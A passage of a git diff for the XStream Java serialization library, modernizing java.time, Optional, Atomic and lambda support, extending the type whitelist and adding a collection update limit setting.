java.desktop/javax.swing.plaf.metal=ALL-UNNAMED + --add-opens java.desktop/javax.imageio=ALL-UNNAMED + --add-opens java.desktop/javax.imageio.spi=ALL-UNNAMED + --add-opens java.desktop/sun.swing=ALL-UNNAMED + --add-opens java.desktop/sun.swing.table=ALL-UNNAMED + --add-opens java.xml/javax.xml.datatype=ALL-UNNAMED + --add-opens java.xml/com.sun.xml.internal.stream=ALL-UNNAMED + --add-opens java.xml/com.sun.org.apache.xerces.internal.parsers=ALL-UNNAMED + --add-opens java.xml/com.sun.org.apache.xerces.internal.util=ALL-UNNAMED + + diff --git a/xstream/src/java/com/thoughtworks/xstream/InitializationException.java b/xstream/src/java/com/thoughtworks/xstream/InitializationException.java index 038e9b904..7f38d7b72 100644 --- a/xstream/src/java/com/thoughtworks/xstream/InitializationException.java +++ b/xstream/src/java/com/thoughtworks/xstream/InitializationException.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2007, 2008, 2013 XStream Committers. + * Copyright (C) 2007, 2008, 2013, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -18,6 +18,8 @@ * @since 1.3 */ public class InitializationException extends XStreamException { + private static final long serialVersionUID = 10400L; + public InitializationException(String message, Throwable cause) { super(message, cause); } diff --git a/xstream/src/java/com/thoughtworks/xstream/XStream.java b/xstream/src/java/com/thoughtworks/xstream/XStream.java index 05c33154c..123e6d23f 100644 --- a/xstream/src/java/com/thoughtworks/xstream/XStream.java +++ b/xstream/src/java/com/thoughtworks/xstream/XStream.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -24,6 +24,7 @@ import java.io.StringReader; import java.io.StringWriter; import java.io.Writer; +import java.lang.invoke.SerializedLambda; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Member; @@ -36,6 +37,41 @@ import java.nio.file.Path; import java.nio.file.Paths; import java.text.DecimalFormatSymbols; +import java.time.Clock; +import java.time.DayOfWeek; +import java.time.Duration; +import java.time.Instant; +import java.time.LocalDate; +import java.time.LocalDateTime; +import java.time.LocalTime; +import java.time.Month; +import java.time.MonthDay; +import java.time.OffsetDateTime; +import java.time.OffsetTime; +import java.time.Period; +import java.time.Year; +import java.time.YearMonth; +import java.time.ZoneId; +import java.time.ZoneOffset; +import java.time.ZonedDateTime; +import java.time.chrono.Chronology; +import java.time.chrono.HijrahChronology; +import java.time.chrono.HijrahDate; +import java.time.chrono.HijrahEra; +import java.time.chrono.IsoChronology; +import java.time.chrono.JapaneseChronology; +import java.time.chrono.JapaneseDate; +import java.time.chrono.JapaneseEra; +import java.time.chrono.MinguoChronology; +import java.time.chrono.MinguoDate; +import java.time.chrono.MinguoEra; +import java.time.chrono.ThaiBuddhistChronology; +import java.time.chrono.ThaiBuddhistDate; +import java.time.chrono.ThaiBuddhistEra; +import java.time.temporal.ChronoField; +import java.time.temporal.ChronoUnit; +import java.time.temporal.ValueRange; +import java.time.temporal.WeekFields; import java.util.ArrayList; import java.util.Arrays; import java.util.BitSet; @@ -56,6 +92,10 @@ import java.util.List; import java.util.Locale; import java.util.Map; +import java.util.Optional; +import java.util.OptionalDouble; +import java.util.OptionalInt; +import java.util.OptionalLong; import java.util.Properties; import java.util.Set; import java.util.SortedSet; @@ -64,7 +104,12 @@ import java.util.TreeSet; import java.util.UUID; import java.util.Vector; +import java.util.WeakHashMap; import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.AtomicInteger; +import java.util.concurrent.atomic.AtomicLong; +import java.util.concurrent.atomic.AtomicReference; import java.util.regex.Pattern; import com.thoughtworks.xstream.converters.ConversionException; @@ -102,9 +147,14 @@ import com.thoughtworks.xstream.converters.collections.SingletonMapConverter; import com.thoughtworks.xstream.converters.collections.TreeMapConverter; import com.thoughtworks.xstream.converters.collections.TreeSetConverter; +import com.thoughtworks.xstream.converters.collections.WeakHashMapConverter; import com.thoughtworks.xstream.converters.enums.EnumConverter; import com.thoughtworks.xstream.converters.enums.EnumMapConverter; import com.thoughtworks.xstream.converters.enums.EnumSetConverter; +import com.thoughtworks.xstream.converters.extended.AtomicBooleanConverter; +import com.thoughtworks.xstream.converters.extended.AtomicIntegerConverter; +import com.thoughtworks.xstream.converters.extended.AtomicLongConverter; +import com.thoughtworks.xstream.converters.extended.AtomicReferenceConverter; import com.thoughtworks.xstream.converters.extended.CharsetConverter; import com.thoughtworks.xstream.converters.extended.ColorConverter; import com.thoughtworks.xstream.converters.extended.CurrencyConverter; @@ -118,6 +168,10 @@ import com.thoughtworks.xstream.converters.extended.JavaMethodConverter; import com.thoughtworks.xstream.converters.extended.LocaleConverter; import com.thoughtworks.xstream.converters.extended.LookAndFeelConverter; +import com.thoughtworks.xstream.converters.extended.OptionalConverter; +import com.thoughtworks.xstream.converters.extended.OptionalDoubleConverter; +import com.thoughtworks.xstream.converters.extended.OptionalIntConverter; +import com.thoughtworks.xstream.converters.extended.OptionalLongConverter; import com.thoughtworks.xstream.converters.extended.PathConverter; import com.thoughtworks.xstream.converters.extended.RegexPatternConverter; import com.thoughtworks.xstream.converters.extended.SqlDateConverter; @@ -127,9 +181,32 @@ import com.thoughtworks.xstream.converters.extended.TextAttributeConverter; import com.thoughtworks.xstream.converters.extended.ThrowableConverter; import com.thoughtworks.xstream.converters.reflection.ExternalizableConverter; +import com.thoughtworks.xstream.converters.reflection.LambdaConverter; import com.thoughtworks.xstream.converters.reflection.ReflectionConverter; import com.thoughtworks.xstream.converters.reflection.ReflectionProvider; import com.thoughtworks.xstream.converters.reflection.SerializableConverter; +import com.thoughtworks.xstream.converters.time.ChronologyConverter; +import com.thoughtworks.xstream.converters.time.DurationConverter; +import com.thoughtworks.xstream.converters.time.HijrahDateConverter; +import com.thoughtworks.xstream.converters.time.InstantConverter; +import com.thoughtworks.xstream.converters.time.JapaneseDateConverter; +import com.thoughtworks.xstream.converters.time.JapaneseEraConverter; +import com.thoughtworks.xstream.converters.time.LocalDateConverter; +import com.thoughtworks.xstream.converters.time.LocalDateTimeConverter; +import com.thoughtworks.xstream.converters.time.LocalTimeConverter; +import com.thoughtworks.xstream.converters.time.MinguoDateConverter; +import com.thoughtworks.xstream.converters.time.MonthDayConverter; +import com.thoughtworks.xstream.converters.time.OffsetDateTimeConverter; +import com.thoughtworks.xstream.converters.time.OffsetTimeConverter; +import com.thoughtworks.xstream.converters.time.PeriodConverter; +import com.thoughtworks.xstream.converters.time.SystemClockConverter; +import com.thoughtworks.xstream.converters.time.ThaiBuddhistDateConverter; +import com.thoughtworks.xstream.converters.time.ValueRangeConverter; +import com.thoughtworks.xstream.converters.time.WeekFieldsConverter; +import com.thoughtworks.xstream.converters.time.YearConverter; +import com.thoughtworks.xstream.converters.time.YearMonthConverter; +import com.thoughtworks.xstream.converters.time.ZoneIdConverter; +import com.thoughtworks.xstream.converters.time.ZonedDateTimeConverter; import com.thoughtworks.xstream.core.ClassLoaderReference; import com.thoughtworks.xstream.core.DefaultConverterLookup; import com.thoughtworks.xstream.core.JVM; @@ -140,12 +217,12 @@ import com.thoughtworks.xstream.core.util.CompositeClassLoader; import com.thoughtworks.xstream.core.util.CustomObjectInputStream; import com.thoughtworks.xstream.core.util.CustomObjectOutputStream; +import com.thoughtworks.xstream.core.util.DefaultDriver; import com.thoughtworks.xstream.core.util.SelfStreamingInstanceChecker; import com.thoughtworks.xstream.io.HierarchicalStreamDriver; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.io.StatefulWriter; -import com.thoughtworks.xstream.io.xml.XppDriver; import com.thoughtworks.xstream.mapper.AnnotationMapper; import com.thoughtworks.xstream.mapper.ArrayMapper; import com.thoughtworks.xstream.mapper.AttributeAliasingMapper; @@ -160,6 +237,7 @@ import com.thoughtworks.xstream.mapper.FieldAliasingMapper; import com.thoughtworks.xstream.mapper.ImmutableTypesMapper; import com.thoughtworks.xstream.mapper.ImplicitCollectionMapper; +import com.thoughtworks.xstream.mapper.LambdaMapper; import com.thoughtworks.xstream.mapper.LocalConversionMapper; import com.thoughtworks.xstream.mapper.Mapper; import com.thoughtworks.xstream.mapper.MapperWrapper; @@ -170,6 +248,7 @@ import com.thoughtworks.xstream.mapper.XStream11XmlFriendlyMapper; import com.thoughtworks.xstream.security.AnyTypePermission; import com.thoughtworks.xstream.security.ArrayTypePermission; +import com.thoughtworks.xstream.security.InputManipulationException; import com.thoughtworks.xstream.security.ExplicitTypePermission; import com.thoughtworks.xstream.security.InterfaceTypePermission; import com.thoughtworks.xstream.security.NoPermission; @@ -314,6 +393,8 @@ public class XStream { // CAUTION: The sequence of the fields is intentional for an optimal XML output of a // self-serialization! + private int collectionUpdateLimit = 20; + private final ReflectionProvider reflectionProvider; private final HierarchicalStreamDriver hierarchicalStreamDriver; private final ClassLoaderReference classLoaderReference; @@ -348,32 +429,35 @@ public class XStream { public static final int PRIORITY_LOW = -10; public static final int PRIORITY_VERY_LOW = -20; + public static final String COLLECTION_UPDATE_LIMIT = "XStreamCollectionUpdateLimit"; + public static final String COLLECTION_UPDATE_SECONDS = "XStreamCollectionUpdateSeconds"; + private static final Pattern IGNORE_ALL = Pattern.compile(".*"); /** * Constructs a default XStream. *

    - * The instance will use the {@link XppDriver} as default and tries to determine the best match for the - * {@link ReflectionProvider} on its own. + * The instance will use the {@link com.thoughtworks.xstream.io.xml.XppDriver} as default and tries to determine the + * best match for the {@link ReflectionProvider} on its own. *

    * * @throws InitializationException in case of an initialization problem */ public XStream() { - this(new XppDriver()); + this(DefaultDriver.create()); } /** * Constructs an XStream with a special {@link ReflectionProvider}. *

    - * The instance will use the {@link XppDriver} as default. + * The instance will use the {@link com.thoughtworks.xstream.io.xml.XppDriver} as default. *

    * * @param reflectionProvider the reflection provider to use or null for best matching reflection provider * @throws InitializationException in case of an initialization problem */ public XStream(final ReflectionProvider reflectionProvider) { - this(reflectionProvider, new XppDriver()); + this(reflectionProvider, DefaultDriver.create()); } /** @@ -577,10 +661,7 @@ private Mapper buildMapper() { mapper = new EnumMapper(mapper); mapper = new LocalConversionMapper(mapper); mapper = new ImmutableTypesMapper(mapper); - if (JVM.is18()) { - mapper = buildMapperDynamically("com.thoughtworks.xstream.mapper.LambdaMapper", new Class[]{Mapper.class}, - new Object[]{mapper}); - } + mapper = new LambdaMapper(mapper); mapper = new SecurityMapper(mapper); mapper = new AnnotationMapper(mapper, converterRegistry, converterLookup, classLoaderReference, reflectionProvider); @@ -589,18 +670,20 @@ private Mapper buildMapper() { return mapper; } + //@formatter:off + /* private Mapper buildMapperDynamically(final String className, final Class[] constructorParamTypes, final Object[] constructorParamValues) { try { final Class type = Class.forName(className, false, classLoaderReference.getReference()); final Constructor constructor = type.getConstructor(constructorParamTypes); return (Mapper)constructor.newInstance(constructorParamValues); - } catch (final Exception e) { - throw new InitializationException("Could not instantiate mapper : " + className, e); - } catch (final LinkageError e) { + } catch (final Exception | LinkageError e) { throw new InitializationException("Could not instantiate mapper : " + className, e); } } + */ + //@formatter:on protected MapperWrapper wrapMapper(final MapperWrapper next) { return next; @@ -651,7 +734,8 @@ protected void setupSecurity() { allowTypeHierarchy(Path.class); final Set> types = new HashSet<>(); - types.addAll(Arrays.>asList(BitSet.class, Charset.class, Class.class, Currency.class, Date.class, + types.addAll(Arrays.>asList(AtomicBoolean.class, AtomicInteger.class, AtomicLong.class, + AtomicReference.class, BitSet.class, Charset.class, Class.class, Currency.class, Date.class, DecimalFormatSymbols.class, File.class, Locale.class, Object.class, Pattern.class, StackTraceElement.class, String.class, StringBuffer.class, StringBuilder.class, URL.class, URI.class, UUID.class)); if (JVM.isSQLAvailable()) { @@ -659,32 +743,36 @@ protected void setupSecurity() { types.add(JVM.loadClassForName("java.sql.Time")); types.add(JVM.loadClassForName("java.sql.Date")); } - if (JVM.is18()) { - allowTypeHierarchy(JVM.loadClassForName("java.time.Clock")); - types.add(JVM.loadClassForName("java.time.Duration")); - types.add(JVM.loadClassForName("java.time.Instant")); - types.add(JVM.loadClassForName("java.time.LocalDate")); - types.add(JVM.loadClassForName("java.time.LocalDateTime")); - types.add(JVM.loadClassForName("java.time.LocalTime")); - types.add(JVM.loadClassForName("java.time.MonthDay")); - types.add(JVM.loadClassForName("java.time.OffsetDateTime")); - types.add(JVM.loadClassForName("java.time.OffsetTime")); - types.add(JVM.loadClassForName("java.time.Period")); - types.add(JVM.loadClassForName("java.time.Ser")); - types.add(JVM.loadClassForName("java.time.Year")); - types.add(JVM.loadClassForName("java.time.YearMonth")); - types.add(JVM.loadClassForName("java.time.ZonedDateTime")); - allowTypeHierarchy(JVM.loadClassForName("java.time.ZoneId")); - types.add(JVM.loadClassForName("java.time.chrono.HijrahDate")); - types.add(JVM.loadClassForName("java.time.chrono.JapaneseDate")); - types.add(JVM.loadClassForName("java.time.chrono.JapaneseEra")); - types.add(JVM.loadClassForName("java.time.chrono.MinguoDate")); - types.add(JVM.loadClassForName("java.time.chrono.ThaiBuddhistDate")); - types.add(JVM.loadClassForName("java.time.chrono.Ser")); - allowTypeHierarchy(JVM.loadClassForName("java.time.chrono.Chronology")); - types.add(JVM.loadClassForName("java.time.temporal.ValueRange")); - types.add(JVM.loadClassForName("java.time.temporal.WeekFields")); - } + + allowTypeHierarchy(Clock.class); + types.add(Duration.class); + types.add(Instant.class); + types.add(LocalDate.class); + types.add(LocalDateTime.class); + types.add(LocalTime.class); + types.add(MonthDay.class); + types.add(OffsetDateTime.class); + types.add(OffsetTime.class); + types.add(Period.class); + types.add(JVM.loadClassForName("java.time.Ser")); + types.add(Year.class); + types.add(YearMonth.class); + types.add(ZonedDateTime.class); + allowTypeHierarchy(ZoneId.class); + types.add(HijrahDate.class); + types.add(JapaneseDate.class); + types.add(JapaneseEra.class); + types.add(MinguoDate.class); + types.add(ThaiBuddhistDate.class); + types.add(JVM.loadClassForName("java.time.chrono.Ser")); + allowTypeHierarchy(Chronology.class); + types.add(ValueRange.class); + types.add(WeekFields.class); + types.add(Optional.class); + types.add(OptionalDouble.class); + types.add(OptionalInt.class); + types.add(OptionalLong.class); + types.remove(null); allowTypes(types.toArray(new Class[types.size()])); } @@ -692,15 +780,16 @@ protected void setupSecurity() { /** * Setup the security framework of a XStream instance. *

    - * This method was a pure helper method for XStream 1.4.x. It initializes an XStream instance with a white list of - * well-known and simply types of the Java runtime as it is done in XStream 1.5.x by default. This method will do - * nothing. + * This method was a pure helper method for XStream 1.4.10 to 1.4.17. It initialized an XStream instance with a + * whitelist of well-known and simply types of the Java runtime as it is done in XStream 1.4.18 by default. This + * method will do therefore nothing in XStream 1.4.18 or higher. *

    - * + * * @param xstream * @since 1.4.10 - * @deprecated As of upcoming, since it is superfluous in XStream 1.5.x + * @deprecated As of 1.4.18 */ + @Deprecated public static void setupDefaultSecurity(final XStream xstream) { // Do intentionally nothing } @@ -756,13 +845,18 @@ protected void setupAliases() { alias("hashtable", Hashtable.class); alias("linked-hash-map", LinkedHashMap.class); alias("linked-hash-set", LinkedHashSet.class); + alias("weak-hash-map", WeakHashMap.class); alias("concurrent-hash-map", ConcurrentHashMap.class); + alias("atomic-boolean", AtomicBoolean.class); + alias("atomic-int", AtomicInteger.class); + alias("atomic-long", AtomicLong.class); + alias("atomic-reference", AtomicReference.class); alias("enum-set", EnumSet.class); alias("enum-map", EnumMap.class); - alias("empty-list", Collections.EMPTY_LIST.getClass()); - alias("empty-map", Collections.EMPTY_MAP.getClass()); - alias("empty-set", Collections.EMPTY_SET.getClass()); + alias("empty-list", Collections.emptyList().getClass()); + alias("empty-map", Collections.emptyMap().getClass()); + alias("empty-set", Collections.emptySet().getClass()); alias("singleton-list", Collections.singletonList(this).getClass()); alias("singleton-map", Collections.singletonMap(this, null).getClass()); alias("singleton-set", Collections.singleton(this).getClass()); @@ -776,7 +870,7 @@ protected void setupAliases() { alias("awt-text-attribute", JVM.loadClassForName("java.awt.font.TextAttribute")); } - Class type = JVM.loadClassForName("javax.activation.ActivationDataFlavor"); + final Class type = JVM.loadClassForName("javax.activation.ActivationDataFlavor"); if (type != null) { alias("activation-data-flavor", type); } @@ -787,43 +881,46 @@ protected void setupAliases() { alias("sql-date", JVM.loadClassForName("java.sql.Date")); } - if (JVM.is18()) { - alias("fixed-clock", JVM.loadClassForName("java.time.Clock$FixedClock")); - alias("offset-clock", JVM.loadClassForName("java.time.Clock$OffsetClock")); - alias("system-clock", JVM.loadClassForName("java.time.Clock$SystemClock")); - alias("tick-clock", JVM.loadClassForName("java.time.Clock$TickClock")); - alias("day-of-week", JVM.loadClassForName("java.time.DayOfWeek")); - alias("duration", JVM.loadClassForName("java.time.Duration")); - alias("instant", JVM.loadClassForName("java.time.Instant")); - alias("local-date", JVM.loadClassForName("java.time.LocalDate")); - alias("local-date-time", JVM.loadClassForName("java.time.LocalDateTime")); - alias("local-time", JVM.loadClassForName("java.time.LocalTime")); - alias("month", JVM.loadClassForName("java.time.Month")); - alias("month-day", JVM.loadClassForName("java.time.MonthDay")); - alias("offset-date-time", JVM.loadClassForName("java.time.OffsetDateTime")); - alias("offset-time", JVM.loadClassForName("java.time.OffsetTime")); - alias("period", JVM.loadClassForName("java.time.Period")); - alias("year", JVM.loadClassForName("java.time.Year")); - alias("year-month", JVM.loadClassForName("java.time.YearMonth")); - alias("zoned-date-time", JVM.loadClassForName("java.time.ZonedDateTime")); - aliasType("zone-id", JVM.loadClassForName("java.time.ZoneId")); - aliasType("chronology", JVM.loadClassForName("java.time.chrono.Chronology")); - alias("hijrah-date", JVM.loadClassForName("java.time.chrono.HijrahDate")); - alias("hijrah-era", JVM.loadClassForName("java.time.chrono.HijrahEra")); - alias("japanese-date", JVM.loadClassForName("java.time.chrono.JapaneseDate")); - alias("japanese-era", JVM.loadClassForName("java.time.chrono.JapaneseEra")); - alias("minguo-date", JVM.loadClassForName("java.time.chrono.MinguoDate")); - alias("minguo-era", JVM.loadClassForName("java.time.chrono.MinguoEra")); - alias("thai-buddhist-date", JVM.loadClassForName("java.time.chrono.ThaiBuddhistDate")); - alias("thai-buddhist-era", JVM.loadClassForName("java.time.chrono.ThaiBuddhistEra")); - alias("chrono-field", JVM.loadClassForName("java.time.temporal.ChronoField")); - alias("chrono-unit", JVM.loadClassForName("java.time.temporal.ChronoUnit")); - alias("iso-field", JVM.loadClassForName("java.time.temporal.IsoFields$Field")); - alias("iso-unit", JVM.loadClassForName("java.time.temporal.IsoFields$Unit")); - alias("julian-field", JVM.loadClassForName("java.time.temporal.JulianFields$Field")); - alias("temporal-value-range", JVM.loadClassForName("java.time.temporal.ValueRange")); - alias("week-fields", JVM.loadClassForName("java.time.temporal.WeekFields")); - } + alias("fixed-clock", JVM.loadClassForName("java.time.Clock$FixedClock")); + alias("offset-clock", JVM.loadClassForName("java.time.Clock$OffsetClock")); + alias("system-clock", JVM.loadClassForName("java.time.Clock$SystemClock")); + alias("tick-clock", JVM.loadClassForName("java.time.Clock$TickClock")); + alias("day-of-week", DayOfWeek.class); + alias("duration", Duration.class); + alias("instant", Instant.class); + alias("local-date", LocalDate.class); + alias("local-date-time", LocalDateTime.class); + alias("local-time", LocalTime.class); + alias("month", Month.class); + alias("month-day", MonthDay.class); + alias("offset-date-time", OffsetDateTime.class); + alias("offset-time", OffsetTime.class); + alias("period", Period.class); + alias("year", Year.class); + alias("year-month", YearMonth.class); + alias("zoned-date-time", ZonedDateTime.class); + aliasType("zone-id", ZoneId.class); + aliasType("chronology", Chronology.class); + alias("hijrah-date", HijrahDate.class); + alias("hijrah-era", HijrahEra.class); + alias("japanese-date", JapaneseDate.class); + alias("japanese-era", JapaneseEra.class); + alias("minguo-date", MinguoDate.class); + alias("minguo-era", MinguoEra.class); + alias("thai-buddhist-date", ThaiBuddhistDate.class); + alias("thai-buddhist-era", ThaiBuddhistEra.class); + alias("chrono-field", ChronoField.class); + alias("chrono-unit", ChronoUnit.class); + alias("iso-field", JVM.loadClassForName("java.time.temporal.IsoFields$Field")); + alias("iso-unit", JVM.loadClassForName("java.time.temporal.IsoFields$Unit")); + alias("julian-field", JVM.loadClassForName("java.time.temporal.JulianFields$Field")); + alias("temporal-value-range", ValueRange.class); + alias("week-fields", WeekFields.class); + alias("optional", Optional.class); + alias("optional-double", OptionalDouble.class); + alias("optional-int", OptionalInt.class); + alias("optional-long", OptionalLong.class); + alias("serialized-lambda", SerializedLambda.class); aliasType("charset", Charset.class); aliasType("path", Path.class); @@ -835,9 +932,6 @@ protected void setupAliases() { aliasDynamically("xml-duration", "javax.xml.datatype.Duration"); } - if (JVM.loadClassForName("java.lang.invoke.SerializedLambda") != null) { - aliasDynamically("serialized-lambda", "java.lang.invoke.SerializedLambda"); - } } private void aliasDynamically(final String alias, final String className) { @@ -877,7 +971,7 @@ protected void setupConverters() { registerConverter(new StringConverter(), PRIORITY_NORMAL); registerConverter(new StringBufferConverter(), PRIORITY_NORMAL); registerConverter(new StringBuilderConverter(), PRIORITY_NORMAL); - registerConverter(new ThrowableConverter(converterLookup), PRIORITY_NORMAL); + registerConverter(new ThrowableConverter(mapper, converterLookup), PRIORITY_NORMAL); registerConverter(new StackTraceElementConverter(), PRIORITY_NORMAL); registerConverter(new DateConverter(), PRIORITY_NORMAL); registerConverter(new GregorianCalendarConverter(), PRIORITY_NORMAL); @@ -892,6 +986,10 @@ protected void setupConverters() { registerConverter(new BigIntegerConverter(), PRIORITY_NORMAL); registerConverter(new BigDecimalConverter(), PRIORITY_NORMAL); registerConverter(new PathConverter(), PRIORITY_NORMAL); + registerConverter((Converter)new AtomicBooleanConverter(), PRIORITY_NORMAL); + registerConverter((Converter)new AtomicIntegerConverter(), PRIORITY_NORMAL); + registerConverter((Converter)new AtomicLongConverter(), PRIORITY_NORMAL); + registerConverter(new AtomicReferenceConverter(mapper), PRIORITY_NORMAL); registerConverter(new ArrayConverter(mapper), PRIORITY_NORMAL); registerConverter(new CharArrayConverter(), PRIORITY_NORMAL); @@ -906,6 +1004,7 @@ protected void setupConverters() { registerConverter(new EnumConverter(), PRIORITY_NORMAL); registerConverter(new EnumSetConverter(mapper), PRIORITY_NORMAL); registerConverter(new EnumMapConverter(mapper), PRIORITY_NORMAL); + registerConverter(new WeakHashMapConverter(), PRIORITY_NORMAL); registerConverter(new FileConverter(), PRIORITY_NORMAL); if (JVM.isSQLAvailable()) { @@ -913,56 +1012,37 @@ protected void setupConverters() { registerConverter(new SqlTimeConverter(), PRIORITY_NORMAL); registerConverter(new SqlDateConverter(), PRIORITY_NORMAL); } - if (JVM.is18()) { - registerConverterDynamically("com.thoughtworks.xstream.converters.time.ChronologyConverter", - PRIORITY_NORMAL, null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.DurationConverter", PRIORITY_NORMAL, - null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.HijrahDateConverter", - PRIORITY_NORMAL, null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.JapaneseDateConverter", - PRIORITY_NORMAL, null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.JapaneseEraConverter", - PRIORITY_NORMAL, null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.InstantConverter", PRIORITY_NORMAL, - null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.LocalDateConverter", PRIORITY_NORMAL, - null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.LocalDateTimeConverter", - PRIORITY_NORMAL, null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.LocalTimeConverter", PRIORITY_NORMAL, - null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.MinguoDateConverter", - PRIORITY_NORMAL, null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.MonthDayConverter", PRIORITY_NORMAL, - null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.OffsetDateTimeConverter", - PRIORITY_NORMAL, null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.OffsetTimeConverter", - PRIORITY_NORMAL, null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.PeriodConverter", PRIORITY_NORMAL, - null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.SystemClockConverter", - PRIORITY_NORMAL, new Class[]{Mapper.class}, new Object[]{mapper}); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.ThaiBuddhistDateConverter", - PRIORITY_NORMAL, null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.ValueRangeConverter", - PRIORITY_NORMAL, new Class[]{Mapper.class}, new Object[]{mapper}); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.WeekFieldsConverter", - PRIORITY_NORMAL, new Class[]{Mapper.class}, new Object[]{mapper}); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.YearConverter", PRIORITY_NORMAL, - null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.YearMonthConverter", PRIORITY_NORMAL, - null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.ZonedDateTimeConverter", - PRIORITY_NORMAL, null, null); - registerConverterDynamically("com.thoughtworks.xstream.converters.time.ZoneIdConverter", PRIORITY_NORMAL, - null, null); - } + registerConverter(new ChronologyConverter(), PRIORITY_NORMAL); + registerConverter(new DurationConverter(), PRIORITY_NORMAL); + registerConverter(new HijrahDateConverter(), PRIORITY_NORMAL); + registerConverter(new JapaneseDateConverter(), PRIORITY_NORMAL); + registerConverter(new JapaneseEraConverter(), PRIORITY_NORMAL); + registerConverter(new InstantConverter(), PRIORITY_NORMAL); + registerConverter(new LocalDateConverter(), PRIORITY_NORMAL); + registerConverter(new LocalDateTimeConverter(), PRIORITY_NORMAL); + registerConverter(new LocalTimeConverter(), PRIORITY_NORMAL); + registerConverter(new MinguoDateConverter(), PRIORITY_NORMAL); + registerConverter(new MonthDayConverter(), PRIORITY_NORMAL); + registerConverter(new OffsetDateTimeConverter(), PRIORITY_NORMAL); + registerConverter(new OffsetTimeConverter(), PRIORITY_NORMAL); + registerConverter(new PeriodConverter(), PRIORITY_NORMAL); + registerConverter(new SystemClockConverter(mapper), PRIORITY_NORMAL); + registerConverter(new ThaiBuddhistDateConverter(), PRIORITY_NORMAL); + registerConverter(new ValueRangeConverter(mapper), PRIORITY_NORMAL); + registerConverter(new WeekFieldsConverter(mapper), PRIORITY_NORMAL); + registerConverter(new YearConverter(), PRIORITY_NORMAL); + registerConverter(new YearMonthConverter(), PRIORITY_NORMAL); + registerConverter(new ZonedDateTimeConverter(), PRIORITY_NORMAL); + registerConverter(new ZoneIdConverter(), PRIORITY_NORMAL); + registerConverter(new OptionalConverter(mapper), PRIORITY_NORMAL); + registerConverter((Converter)new OptionalDoubleConverter(), PRIORITY_NORMAL); + registerConverter((Converter)new OptionalIntConverter(), PRIORITY_NORMAL); + registerConverter((Converter)new OptionalLongConverter(), PRIORITY_NORMAL); registerConverter(new DynamicProxyConverter(mapper, classLoaderReference), PRIORITY_NORMAL); registerConverter(new JavaClassConverter(classLoaderReference), PRIORITY_NORMAL); registerConverter(new JavaMethodConverter(classLoaderReference), PRIORITY_NORMAL); registerConverter(new JavaFieldConverter(classLoaderReference), PRIORITY_NORMAL); + registerConverter(new LambdaConverter(mapper, reflectionProvider, classLoaderReference), PRIORITY_NORMAL); if (JVM.isAWTAvailable()) { registerConverter(new FontConverter(mapper), PRIORITY_NORMAL); @@ -985,10 +1065,9 @@ protected void setupConverters() { registerConverterDynamically("com.thoughtworks.xstream.converters.extended.ActivationDataFlavorConverter", PRIORITY_NORMAL, null, null); } - if (JVM.is18()) { - registerConverterDynamically("com.thoughtworks.xstream.converters.reflection.LambdaConverter", - PRIORITY_NORMAL, new Class[]{Mapper.class, ReflectionProvider.class, ClassLoaderReference.class}, - new Object[]{mapper, reflectionProvider, classLoaderReference}); + if (JVM.isVersion(14)) { + registerConverterDynamically("com.thoughtworks.xstream.converters.extended.RecordConverter", + PRIORITY_NORMAL, new Class[]{Mapper.class}, new Object[]{mapper}); } registerConverter(new SelfStreamingInstanceChecker(converterLookup, this), PRIORITY_NORMAL); @@ -1005,9 +1084,7 @@ private void registerConverterDynamically(final String className, final int prio } else if (instance instanceof SingleValueConverter) { registerConverter((SingleValueConverter)instance, priority); } - } catch (final Exception e) { - throw new InitializationException("Could not instantiate converter : " + className, e); - } catch (final LinkageError e) { + } catch (final Exception | LinkageError e) { throw new InitializationException("Could not instantiate converter : " + className, e); } } @@ -1057,36 +1134,37 @@ protected void setupImmutableTypes() { addImmutableType(Collections.EMPTY_SET.getClass(), false); addImmutableType(Collections.EMPTY_MAP.getClass(), false); - if (JVM.is18()) { - addImmutableTypeDynamically("java.time.Duration", false); - addImmutableTypeDynamically("java.time.Instant", false); - addImmutableTypeDynamically("java.time.LocalDate", false); - addImmutableTypeDynamically("java.time.LocalDateTime", false); - addImmutableTypeDynamically("java.time.LocalTime", false); - addImmutableTypeDynamically("java.time.MonthDay", false); - addImmutableTypeDynamically("java.time.OffsetDateTime", false); - addImmutableTypeDynamically("java.time.OffsetTime", false); - addImmutableTypeDynamically("java.time.Period", false); - addImmutableTypeDynamically("java.time.Year", false); - addImmutableTypeDynamically("java.time.YearMonth", false); - addImmutableTypeDynamically("java.time.ZonedDateTime", false); - addImmutableTypeDynamically("java.time.ZoneId", false); - addImmutableTypeDynamically("java.time.ZoneOffset", false); - 